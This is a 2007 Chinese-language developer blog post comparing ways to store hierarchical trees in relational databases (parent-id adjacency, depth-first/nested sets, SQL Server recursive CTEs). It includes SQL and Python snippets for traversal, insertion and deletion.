August 29, 2007
关系数据库中存储操作树形结构
关系数据库中树形结构的存储，决定因素是对于设计的系统，在此树形结构上的操作是什么。尤其对于节点数较大的树形关系，操作性能肯定是第一考虑因素。当然也和树的具体特典有关系，比如是“扁平型”的还是“纵深型”的。最近的工作涉及到一棵近百万个节点的树，一点总结稍作笔记。
树形结构常见操作
下面的操作大部分从MySQL文档中摘录。
- 遍历
- Finding all Child nodes / 取得所有的下级节点
- Find the Immediate Subordinates of a Node
- Finding all the Leaf Nodes / 取得所有下级叶子节点
- Depth of a Sub-Tree / 取得子树的深度
- Aggregate Functions in a Nested Set
- Retrieving a Single Path (all ancestors nodes) / 取得当前节点到根节点的路径
- Finding the Depth of the Nodes. 相当于7，找到所有父节点。
- Adding New Nodes
- Deleting Nodes
可简单分类为
- 向下搜索(1,2,3,4,5,6)
- 向上搜索(7,8)
- 修改(9,10)
其中3和2,4等在不同数据结构基础上的实现中，非常不同。以下分别对几种常见的表示方法，作个简单总结。
线性表示
A
/ | \
B C D
/| \
E F G
A(B, C(E, F), D(G,),)
相当于宽度优先的遍历。
“线性表示”的意思是说，在一行文本中，表示整个复杂结构。也许可以用在数据压缩上吧，基本上与这里讲述的关系数据库关系不大。
node-id & parent-node-id
最常见的表示方法，represents a hierarchy is by using parent child relationship。
在关系数据库中，一行数据表示树中的一个节点（后面叙述的结构均是如此）。这一行中存储当前节点的ID(NodeId)和它的父节点的ID(ParentNodeId)，因为每个节点的父节点是唯一的。在这两个ID上做索引。
此种结构最利于临近层次的节点搜索（常见操作之3）。对于节点的增删修改（常见操作之9,10），也很容易，只要修改单个节点的属性即可。
操作3(Find the Immediate Subordinates of a Node)在展示树型数据时很有用。比如动态展开节点。实际上很多树形控件，其数据结构也正是这样的。比如YUI的TreeView ；MSComctlLib.TreeCtrl；Graphviz；ASP.NET中的Tree view等等。
对于操作2,4,7,8，在SQL Server中可以使用Inline Table-valued Functions 或 Multistatement Table-valued Functions 递归调用实现。当然性能上会有损失。
Deep-first Tree
| A | B | C | D | E | F | G | |
| node-id | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| most-right-child-id | 7 | 2 | 5 | 4 | 5 | 7 | 7 |
Deep-first结构中，每条Node记录需要包含node-id和most-right-child-id。
常见操作2,4,7,8可以高效实现。但是对于操作3(immediately children)，实现起来比较难，不如parent/child的容易、高效。可以结合使用。
–Get the path from the root to the given node:
SELECT t1.*
FROM employee t1, employee t2
WHERE t1.nodeindex <= i
AND t1.rightchildindex >= t2.rightchildindex
AND t2.nodeindex = i;
增删修改操作性能消耗比较大。
-- Insert a node as a child of i: UPDATE employee SET employee.nodeindex = employee.nodeindex + 1 WHERE employee.nodeindex > parentnode; UPDATE employee SET employee.rightchildindex = employee.rightchildindex + 1 WHERE employee.rightchildindex >= parentnode; INSERT INTO employee (nodeindex, rightchildindex, NAME, comments) VALUES (parentnode + 1, parentnode + 1, nodename, nodecomments); -- Delete the node with NodeIndex i: DELETE employee WHERE employee.nodeindex = i; UPDATE employee SET employee.nodeindex = employee.nodeindex - 1 WHERE employee.nodeindex > i; UPDATE employee SET employee.rightchildindex = employee.rightchildindex - 1 WHERE employee.rightchildindex > i;
Nested set, 节点左右边缘
左边缘作为node-id，同时记录right-extent。与Deep-first Tree等价。
-- All Leaf nodes (an item with any children) can be -- identified by Left = Right - 1 SELECT * FROM Employee WHERE [LeftExtent] = [RightExtent] - 1
Build a deep-first tree from parent child relationship
Python code
#{
def process_node( catid ):
n = retrieve_node( catid )
dfid = global_increased_id() # with a increased id
most_right_child_dfid = dfid
for child in retrieve_children( n ):
most_right_child_dfid = process_node( child )
upd_to_db( catid, dfid, most_right_child_dfid )
print dfid
return most_right_child_dfid
The WITH keyword in SQL Server 2005/2008
在SQL Server 2005及以上的版本的中，加入了WITH这个关键字。WITH关键字定义了匿名函数，通过表达式形成表定义common table expression (CTE)，而且可以递归。而 node-id & parent-node-id 模型中的“取得当前节点到根节点的路径”操作，就需要对表值函数进行递归调用。用WITH关键字进行递归操作的例子如下
with HierarchyCTE (NID, PID, Lvl) as (select NodeID, ParentID, 0 from dbo.Hierarchy where NodeID = @NodeID_in union all select NodeID, ParentID, Lvl + 1 from dbo.Hierarchy inner join HierarchyCTE on PID = NodeID) select * from HierarchyCTE
References
- General trees persisted in relational databases
- Improve hierarchy performance using nested sets
- Representing a tree in a relational database (efficiently)
- Managing Hierarchical Data in MySQL
- Hierarchies in SQL
Filed by
charlie
at 6:04 pm under Coding, DBA, Engineer
No Comments
5 Comments
